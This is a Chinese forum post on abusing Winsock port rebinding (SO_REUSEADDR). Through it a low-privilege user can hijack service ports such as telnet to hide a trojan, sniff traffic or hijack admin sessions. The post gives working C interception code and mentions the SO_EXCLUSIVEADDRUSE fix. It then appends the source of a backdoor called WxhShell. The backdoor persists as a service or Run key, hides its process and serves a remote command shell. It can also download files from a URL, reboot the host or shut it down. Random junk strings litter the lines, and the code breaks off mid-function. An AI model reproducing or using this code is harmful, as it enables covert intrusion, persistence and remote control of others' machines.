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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J!5b~8`v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); leH 7II9  
eXK3W2XF  
  saddr.sin_family = AF_INET; $HQ4o\~  
.lP',hn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rQ]JM  
6<fG; :  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HZ Wt>f  
GCO: !,1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7[qL~BT+  
IHd W!q  
  这意味着什么?意味着可以进行如下的攻击: Tjrb.+cua  
m26YAcip}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c};%VB  
'=Lpch2J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U1) Zh-aR  
>jIn&s!}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X"_ ^^d-  
Rky]F+J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h ka_Fo  
ZM v\j|{8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a oU"  
m<>BxX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +D]raU  
(,QWK08  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {b4`\ I@<  
JVy|SA&R  
  #include -XCs?@8EQ  
  #include $VF,l#aR  
  #include  w0=  
  #include    U-fxlg|-C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =%IyR  
  int main() fpo{`;&F  
  { At=d//5FFP  
  WORD wVersionRequested; 8/dMvAB1So  
  DWORD ret; LPJ7V` !k  
  WSADATA wsaData; D0p*Sg  
  BOOL val; 4FRi=d;mP  
  SOCKADDR_IN saddr; !.mR]El{K  
  SOCKADDR_IN scaddr; ([< HFc`  
  int err; |>]@w\]  
  SOCKET s; N2A6C$s  
  SOCKET sc; /ugyUpyg  
  int caddsize; 0,ryy,2  
  HANDLE mt; <Jhd%O  
  DWORD tid;   G|1.qHP[F  
  wVersionRequested = MAKEWORD( 2, 2 ); ur'<8pDb$  
  err = WSAStartup( wVersionRequested, &wsaData ); JJ?rVq1g  
  if ( err != 0 ) { J}xM+l7uY  
  printf("error!WSAStartup failed!\n"); 9_:"`)] 3B  
  return -1; \'j(@b,  
  } a,RCK~GR  
  saddr.sin_family = AF_INET; /v5A)A$7  
   pz['o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _`\!+qGq  
~CnnN[g(_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [C6ba{9 B  
  saddr.sin_port = htons(23); Ei@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j%nN*ms  
  { TxG@#" ^g}  
  printf("error!socket failed!\n"); [//i "Nm  
  return -1; r4 *H96l  
  } Ju47}t%HB  
  val = TRUE; 96V8R<   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q+ V<&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^{MqJ\S7H  
  { @s-P!uCaT  
  printf("error!setsockopt failed!\n"); Zc~7R`v7}  
  return -1; mk1R~4v  
  } d0I s|Gs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E! NtD).=S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 08nh y[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e*}zl>f  
C+s/KA%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %(eQ1ir+  
  { KUZi3\p9W>  
  ret=GetLastError(); R'c dEoy  
  printf("error!bind failed!\n"); H;nzo3x  
  return -1; ]z^jz#>um&  
  } ~3:hed7:  
  listen(s,2); %@a;q?/?Nd  
  while(1) Cb{D[  
  { q ][kD2  
  caddsize = sizeof(scaddr); Ln,<|,fZN  
  //接受连接请求 [l5jPL}6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2T2<I/")O  
  if(sc!=INVALID_SOCKET) *>=tmW;%  
  { ,Lp"Ia  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Wu$ryX  
  if(mt==NULL) hTLf$_|P  
  { PM[W7g T  
  printf("Thread Creat Failed!\n"); YM_[   
  break; [m:cO6DM,  
  } > "F-1{  
  } C:Rs~@tl  
  CloseHandle(mt); #1J ,!seJ  
  } G)< B7-72;  
  closesocket(s); #VX]trh,  
  WSACleanup(); SnFyK5  
  return 0; [IOI&`?D  
  }   -nNKUt.I  
  DWORD WINAPI ClientThread(LPVOID lpParam) &qXobJRM  
  { A_@..hX(  
  SOCKET ss = (SOCKET)lpParam; ZXQ5fBx  
  SOCKET sc; 0j!<eN=  
  unsigned char buf[4096]; 8X`DFeJ  
  SOCKADDR_IN saddr; jnp~ACN,  
  long num; 2K>1,[C'Z  
  DWORD val; ~>>_`;B  
  DWORD ret; 1r> ]XhRFZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4Y59^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h<&GdK2U+  
  saddr.sin_family = AF_INET; [x{$f7CEh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,HDhP  
  saddr.sin_port = htons(23); L-?ty@-i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D@uVb4uK  
  { Q |o$^D,  
  printf("error!socket failed!\n"); e: Sd#H!  
  return -1; .S,E=  
  } Gz{%Z$A~o  
  val = 100; <1I4JPh>x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c9Et Uv~  
  { 6inAnC@I  
  ret = GetLastError(); F,S)P`?  
  return -1; hev;M)t  
  } zl8M<z1`1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bh5D}w  
  { }6a}8EyFP  
  ret = GetLastError(); %N&.B  
  return -1; 1]''@oh{6U  
  } _s@PL59,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $#f_p-N  
  { P0>2}/;o  
  printf("error!socket connect failed!\n"); \ejHM}w3,  
  closesocket(sc); |qe;+)0>K  
  closesocket(ss); 8:c=h/fa  
  return -1; A3tv'-e9  
  } toGd;2rl  
  while(1) rtAPkXJFM  
  { O#;sY`fy_M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l9uocP:D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X7-*`NI^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w.58=Pr  
  num = recv(ss,buf,4096,0); *y?6m,38V  
  if(num>0) TO G4=y-N  
  send(sc,buf,num,0); O0jOI3/P%  
  else if(num==0) a6 vej  
  break; %`k [xz  
  num = recv(sc,buf,4096,0); A'`F Rx(  
  if(num>0) #b*4v&<  
  send(ss,buf,num,0); tgG 8pL  
  else if(num==0) 8>WA5:]v  
  break; mWZP.w^-  
  } +pG+ xI  
  closesocket(ss); !`N:.+DT  
  closesocket(sc); N{bg-%s10i  
  return 0 ; 36{OE!,i  
  } AJ6l#j-  
OF`J{`{r  
rK'Lvt@w  
========================================================== V~*>/2+  
n[e C  
下边附上一个代码,,WXhSHELL KF#^MEw%  
94&t0j_  
========================================================== ?&9=f\/P  
 'V^M+ng  
#include "stdafx.h" (${:5W  
^vM6_=g2E%  
#include <stdio.h> .9e5@@VR  
#include <string.h> rfVQX<95=/  
#include <windows.h> 7+f6?  
#include <winsock2.h> ZqrS]i@$  
#include <winsvc.h> 6bUP]^d  
#include <urlmon.h> D$4GNeB+#  
8/j|=Q,5  
#pragma comment (lib, "Ws2_32.lib") Qq.$! $  
#pragma comment (lib, "urlmon.lib") ;/kd.Q  
i|z=WnF$&  
#define MAX_USER   100 // 最大客户端连接数 @yb'h`f]  
#define BUF_SOCK   200 // sock buffer jj2=|)w$3  
#define KEY_BUFF   255 // 输入 buffer )jl@ hnA  
mK$E&,OkA  
#define REBOOT     0   // 重启 #!z-)[S.+  
#define SHUTDOWN   1   // 关机 8tSY|ME  
$+J39%Y!^  
#define DEF_PORT   5000 // 监听端口 iJhieNn  
7.VP7;jys  
#define REG_LEN     16   // 注册表键长度 N KgEs   
#define SVC_LEN     80   // NT服务名长度 k-3;3Mq  
X=-=z5  
// 从dll定义API *JX$5bZsI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SujEF` "  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SaGI4O_\s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pD[&,gV$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @bTm.3  
MVzj7~+  
// wxhshell配置信息 i_m& qy<v  
struct WSCFG { D3aX\ NGP  
  int ws_port;         // 监听端口 16eP7s  
  char ws_passstr[REG_LEN]; // 口令 JdI*@b2k[  
  int ws_autoins;       // 安装标记, 1=yes 0=no !NNPg?Y  
  char ws_regname[REG_LEN]; // 注册表键名 7Fpa%N/WL  
  char ws_svcname[REG_LEN]; // 服务名 !-T#dU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [V_mF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z)KoK`\mE"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -SD:G]un  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {(-923|,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qU6!vgM&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %LC)sSq{H  
q*R~gEi#yk  
}; YhglL!p C  
V9< E `C  
// default Wxhshell configuration PT,*KYF_O"  
struct WSCFG wscfg={DEF_PORT, rkS'OC  
    "xuhuanlingzhe", 8bMw.u=F  
    1,  >h2qam  
    "Wxhshell", ?~.9: 93  
    "Wxhshell", X)]>E]X  
            "WxhShell Service", (:~_#BA  
    "Wrsky Windows CmdShell Service", O<!^^7/h0  
    "Please Input Your Password: ", 6 T~+vT  
  1, g-#eMQ%J  
  "http://www.wrsky.com/wxhshell.exe", %O%;\t  
  "Wxhshell.exe" k(>J?\iNW  
    }; !#]kzS0  
nq7)0F%e  
// 消息定义模块  ]igCV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gjT`<CW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W{ozZuo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hHw1<! M  
char *msg_ws_ext="\n\rExit."; i-0AcN./p  
char *msg_ws_end="\n\rQuit."; Y uZ  
char *msg_ws_boot="\n\rReboot..."; UBM8l  
char *msg_ws_poff="\n\rShutdown..."; L}8 }Pns?&  
char *msg_ws_down="\n\rSave to "; ,t1s#*j\!q  
rf$[8d  
char *msg_ws_err="\n\rErr!"; %E, -dw  
char *msg_ws_ok="\n\rOK!"; 0~<t :q!  
2s 9U&  
char ExeFile[MAX_PATH]; IP !zg|c,  
int nUser = 0; z SsogAx  
HANDLE handles[MAX_USER]; $\4Or  
int OsIsNt; &n6 |L8  
?1]B(V9nBq  
SERVICE_STATUS       serviceStatus; /$vX1T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pd  6  
#lVSQZO~a  
// 函数声明 :]C\DUBo  
int Install(void); R<h0RKiM@  
int Uninstall(void); Dhg/>@tw  
int DownloadFile(char *sURL, SOCKET wsh); 5U<o%+^El  
int Boot(int flag); jaux:fU  
void HideProc(void); Q%GLT,f1.  
int GetOsVer(void); \BsvUGd  
int Wxhshell(SOCKET wsl); 5o(=?dXm4  
void TalkWithClient(void *cs); 1^;&?E  
int CmdShell(SOCKET sock); hU2 N{Ac  
int StartFromService(void); [qt^gy)  
int StartWxhshell(LPSTR lpCmdLine); ~b4fk^u`+  
/_bM~g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T5U(B3j_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q;1$gImFz  
R?%|RCht1  
// 数据结构和表定义 1G8t=IA%D  
SERVICE_TABLE_ENTRY DispatchTable[] = s3T 6"%S`  
{ :\1&5Pm]  
{wscfg.ws_svcname, NTServiceMain}, bL7mlh  
{NULL, NULL} L/cbq*L  
}; WUi7~Ei}  
0$49X  
// 自我安装 Y.Ew;\6U  
int Install(void) X]CaWxM  
{ WqU$cQD"  
  char svExeFile[MAX_PATH]; q`;URkjk  
  HKEY key; IPE(  
  strcpy(svExeFile,ExeFile); kQBVx8Uq]  
~JT{!wcE}o  
// 如果是win9x系统,修改注册表设为自启动 )ZmE"  
if(!OsIsNt) { CnA*o 8w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bm7$DKp#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pK1(AV'L  
  RegCloseKey(key); A><%"9pZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ox43(S0~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ri-wbYFaP  
  RegCloseKey(key); IX3U\_I#  
  return 0; Ip 1QmP  
    } j+ys&pDczm  
  } 42Ffx?Qmv  
} C,z]q$4  
else { pcl _$2_  
y! 1NS  
// 如果是NT以上系统,安装为系统服务 :3Jh f$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _bz,G"w+:  
if (schSCManager!=0) -jw=Iyv  
{ f!I e  
  SC_HANDLE schService = CreateService ,^,J[F  
  ( BzUx@,  
  schSCManager, &]c9}Ic  
  wscfg.ws_svcname, \%^3Izsc  
  wscfg.ws_svcdisp, f3h9CV  
  SERVICE_ALL_ACCESS, aH#|LrdJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V7v,)a" L  
  SERVICE_AUTO_START, 4%{m7CK}  
  SERVICE_ERROR_NORMAL, J\0YL\jw1K  
  svExeFile, .lnD]Q  
  NULL, : R&tO3_F  
  NULL, dk ?0r  
  NULL, LMDa68 s  
  NULL, zC^Ib&gm>,  
  NULL Mt:(w;Y  
  ); vNt2s)J$  
  if (schService!=0) [6tQv<}^  
  { #,;k>2j0  
  CloseServiceHandle(schService); vtT:c.~d  
  CloseServiceHandle(schSCManager); S{H8}m|MW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :4Vt  
  strcat(svExeFile,wscfg.ws_svcname); eyWwE%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 33 4*nQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -|kDa1knA  
  RegCloseKey(key); 'huLv(Uu  
  return 0; N!3f1d7RQ  
    }  x1et,&,  
  } lo#,zd~  
  CloseServiceHandle(schSCManager); *$1)&2i  
} s5dh]vNN  
} V+q RDQ  
1,J.  
return 1; !]nCeo  
} }R x%&29&  
l9h;dI{6  
// 自我卸载 +A3 H#'  
int Uninstall(void) G!IQ<FuY  
{ H#y"3E<s  
  HKEY key; 2 ^aTW`>L  
qGqu/$bh  
if(!OsIsNt) { m @%|Q;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .%A2  
  RegDeleteValue(key,wscfg.ws_regname); SJ-Sac58r  
  RegCloseKey(key); >>r:L3<!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wGH@I_cy>  
  RegDeleteValue(key,wscfg.ws_regname); 6>I.*Qt \l  
  RegCloseKey(key); 4@I]PG  
  return 0; DvCt^O*  
  } 68*{Lo?U  
} ||=Duk  
} qu%s 7+  
else { di 5_5_$`o  
M)7enp) F.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ap~Iz  
if (schSCManager!=0) 8rYK~Sz  
{ 2LU'C,o?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !Xi>{nV  
  if (schService!=0) =.a ]?&Yyh  
  { vp@+wh]#  
  if(DeleteService(schService)!=0) { (/U1J  
  CloseServiceHandle(schService); B(LV22#  
  CloseServiceHandle(schSCManager); ;>9pJ72r  
  return 0; j+hoj2(  
  } ~tvoR&{I  
  CloseServiceHandle(schService); v_0!uT5~NE  
  } l0{DnQA>I  
  CloseServiceHandle(schSCManager); MavO`m&Cg  
} }q W aE  
} N sL"p2w~  
3~ZVAg[c  
return 1; z%tu6_4j  
} P;&p[[7  
6,1|y%(f  
// 从指定url下载文件 $lA,{Q  
int DownloadFile(char *sURL, SOCKET wsh) ($> 0&w  
{ CaBS0' n  
  HRESULT hr; /g''-yT7#  
char seps[]= "/"; [i7)E]*oTA  
char *token; sEyl\GL  
char *file; qhtAtP>i"  
char myURL[MAX_PATH]; ^^l"brPa  
char myFILE[MAX_PATH]; =osw3"ng  
@98SC}}u  
strcpy(myURL,sURL); C/Bx_j((  
  token=strtok(myURL,seps); )fc"])&8  
  while(token!=NULL) `r(J6,O  
  { v^fOT5\  
    file=token; WI_mJ/2  
  token=strtok(NULL,seps); W%K8HAP"  
  } !p2,|6Y`y  
zq r%7U  
GetCurrentDirectory(MAX_PATH,myFILE); 5O ;^Mk|  
strcat(myFILE, "\\"); O/oYaAlFF@  
strcat(myFILE, file); s,H(m8#>  
  send(wsh,myFILE,strlen(myFILE),0); ItE~MJ5p  
send(wsh,"...",3,0); &W// Ox )f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ':)j@O3-  
  if(hr==S_OK) B-'BJ|*4I  
return 0; +N:6wZ7<f  
else O \8G~V 5"  
return 1; 6RQCKN)  
9R"N#w.U]  
} <SdJM1%Qo  
c G!2Iy~lA  
// 系统电源模块 ^Jl!WH=20}  
int Boot(int flag) bu]Se6%}  
{ {}&f\6OI%  
  HANDLE hToken; h=r< B\Pa  
  TOKEN_PRIVILEGES tkp; ]G~N+\8]U  
[k 7N+W8  
  if(OsIsNt) { edk9Qd9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?mfWm{QTt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T xxB0  
    tkp.PrivilegeCount = 1; C| IQM4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X3L[y\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4m[C-NB!g  
if(flag==REBOOT) { um2s^G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c0Ro3j\p  
  return 0; NF(IF.8G  
} }rA+W-7  
else { Q[Sd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( WtE`f;Q  
  return 0; "q>I?UcZ  
} )F#<)Evw  
  } m<,G:?RM  
  else { bo!]  
if(flag==REBOOT) { C\^<v&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1o~U+s_r  
  return 0; xnuv4Z}]t  
} |U$de2LF  
else { Q()RO*9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~muIi#4  
  return 0; o- QG& ]  
} -,fa{yt-  
} FDd>(!>  
)C01f ZhD  
return 1; CBnouKc:  
} U>_\  
)\D40,p  
// win9x进程隐藏模块 s@)"IdSA(  
void HideProc(void) Ril21o! j  
{ fov=Yd!  
uJ/?+5TU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yK%GsCJd:  
  if ( hKernel != NULL ) + 65~,e  
  { 4lh   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O *J_+6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZYA.1VrM  
    FreeLibrary(hKernel); n@07$lY@;  
  } R|)2Dg  
ss0'GfP  
return; `k}l$ih`X  
} (&P0la 1  
d7_g u  
// 获取操作系统版本 I~]Q55  
int GetOsVer(void) $uFh$f  
{ Oa\`;  
  OSVERSIONINFO winfo; Ub'%pU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -Nlf~X  
  GetVersionEx(&winfo); |:e|~sism  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }$0xt'q&  
  return 1; 3?*M{Y|  
  else inPdV9  
  return 0; )p!*c,  
} JwI`"$ > w  
te\h?H  
// 客户端句柄模块 Ff Yd+]+?  
int Wxhshell(SOCKET wsl) rZ!Yi*? f  
{ i (%tHa37  
  SOCKET wsh; g* \P6  
  struct sockaddr_in client; L*UV  
  DWORD myID; /Oggt^S  
ie$`pyj!x  
  while(nUser<MAX_USER) !O F?xW  
{ *1Ut}  
  int nSize=sizeof(client); S7UZGGjTk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b@2Cl l#  
  if(wsh==INVALID_SOCKET) return 1; C?[a3rNH(  
TDAWI_83-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]<8B-D?Z  
if(handles[nUser]==0) 42V,PH6o  
  closesocket(wsh); w*<Y$hnBzF  
else 3qAwBVWa  
  nUser++; ^zaKO'KcV  
  } 2<[ eD`u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a@fE46o6<  
S(>@:`=  
  return 0; aE7u5 PM  
} 6Iv(  
atLV`U&t  
// 关闭 socket *t#s$Ga  
void CloseIt(SOCKET wsh) T|o`a+?  
{ UTDcX  
closesocket(wsh); Ka]J^w;a  
nUser--; jFuC=6aF  
ExitThread(0); G}!7tU  
} > $w^%I  
Lh8bQH  
// 客户端请求句柄 s;fVnaqG:  
void TalkWithClient(void *cs) . ]o3A8  
{ )\T@W  
-ajM5S=d*  
  SOCKET wsh=(SOCKET)cs; "t[M'[ `C  
  char pwd[SVC_LEN]; I#|ocz  
  char cmd[KEY_BUFF]; 24T@N~\g  
char chr[1]; Aautih@LX  
int i,j; 87QZun%  
9 z5"y|$  
  while (nUser < MAX_USER) { eecw]P_?  
lpl8h4d  
if(wscfg.ws_passstr) { (;;J,*NP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H-eEhI(;O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7"ylN"syZ  
  //ZeroMemory(pwd,KEY_BUFF); p+, 1Fi  
      i=0; cPpu  
  while(i<SVC_LEN) { g3|BE2?  
1s#yWQ   
  // 设置超时 #/ OUGeJ  
  fd_set FdRead; kWB, ;7  
  struct timeval TimeOut; %mY|  
  FD_ZERO(&FdRead); `1nRcY  
  FD_SET(wsh,&FdRead); I"Q#IvNw  
  TimeOut.tv_sec=8; a @6^8B?w;  
  TimeOut.tv_usec=0; U?bG`. X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eY J{LPo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]e^R@w  
ZhH+D`9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); - #3{{  
  pwd=chr[0]; o_iEkn  
  if(chr[0]==0xd || chr[0]==0xa) { 4\p$4Hs}  
  pwd=0; H76E+AY  
  break; Y4QLs^IdB  
  } hlX>K  
  i++; |2z}Xm5\  
    } $fj])>=H  
wD`[5~C{  
  // 如果是非法用户,关闭 socket r)VLf#3B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "37*A<+f  
}  ylk{!  
}04Dg '  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vl<`|C>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F&xv z2G  
_*Pfp+if  
while(1) { VsEGX@;tO  
Bb~5& @M|N  
  ZeroMemory(cmd,KEY_BUFF); l{8CISO*  
P*0f~eu  
      // 自动支持客户端 telnet标准   +4Q[N;[+*  
  j=0; XM$GQn]B  
  while(j<KEY_BUFF) { ;TtaH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o~= iy  
  cmd[j]=chr[0]; _ j~4+H  
  if(chr[0]==0xa || chr[0]==0xd) { dsV ~|D6:  
  cmd[j]=0; j~epbl)pC  
  break; /J;;|X#P  
  } ' PELf P8  
  j++; yr5NRs  
    } >rKhlUD  
D3y>iQd   
  // 下载文件 X<Z(]`i  
  if(strstr(cmd,"http://")) { q-YL]PgV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GA\2i0ow  
  if(DownloadFile(cmd,wsh)) |~eY%LB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uj,g]e 8e  
  else $.a|ae|K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }t\ 10nQ  
  } Hq?&Qo  
  else { [m\,+lG?)j  
4f!dY o4L  
    switch(cmd[0]) { fWj@e"G  
  ^#;RLSv   
  // 帮助 7%4.b7Q  
  case '?': {  DwXU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9\AS@SH{^T  
    break; Atd1qJ  
  } uJY.5w  
  // 安装 ^sV|ck  
  case 'i': { [t{](-  
    if(Install()) ~T02._E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9<l-NU9 _  
    else Ir27ZP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NI8~QeGah  
    break; \-OC|\{32  
    } VHW`NP 5Jl  
  // 卸载 wu2:'y>n  
  case 'r': { b/nOdFO@  
    if(Uninstall()) y@A6$[%(E|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y@3kU*-1  
    else ra:GzkIw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I8k  
    break; y\#o2PVmY  
    } #W|!fILL  
  // 显示 wxhshell 所在路径 RL*]g*  
  case 'p': { H* /&A9("  
    char svExeFile[MAX_PATH]; {2:d` fqD  
    strcpy(svExeFile,"\n\r"); (@q3^)I4  
      strcat(svExeFile,ExeFile); 59i]  
        send(wsh,svExeFile,strlen(svExeFile),0); +9zA^0   
    break; O&V[g>x"U  
    } E0YU[([G  
  // 重启 !BUi)mo  
  case 'b': { Q>=-ext}q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Lm|al.Z  
    if(Boot(REBOOT)) ;Iq5|rzDn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _CE9B e\  
    else { {y6C0A*  
    closesocket(wsh); O>AFF@=  
    ExitThread(0); TsD;Kl1  
    } AS|Rd+ .  
    break; + |C=ZU  
    } FJwt?3\u5  
  // 关机 o/1JO_41  
  case 'd': { X *O9JGh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !M(:U,?B  
    if(Boot(SHUTDOWN)) -:S IS`0s  
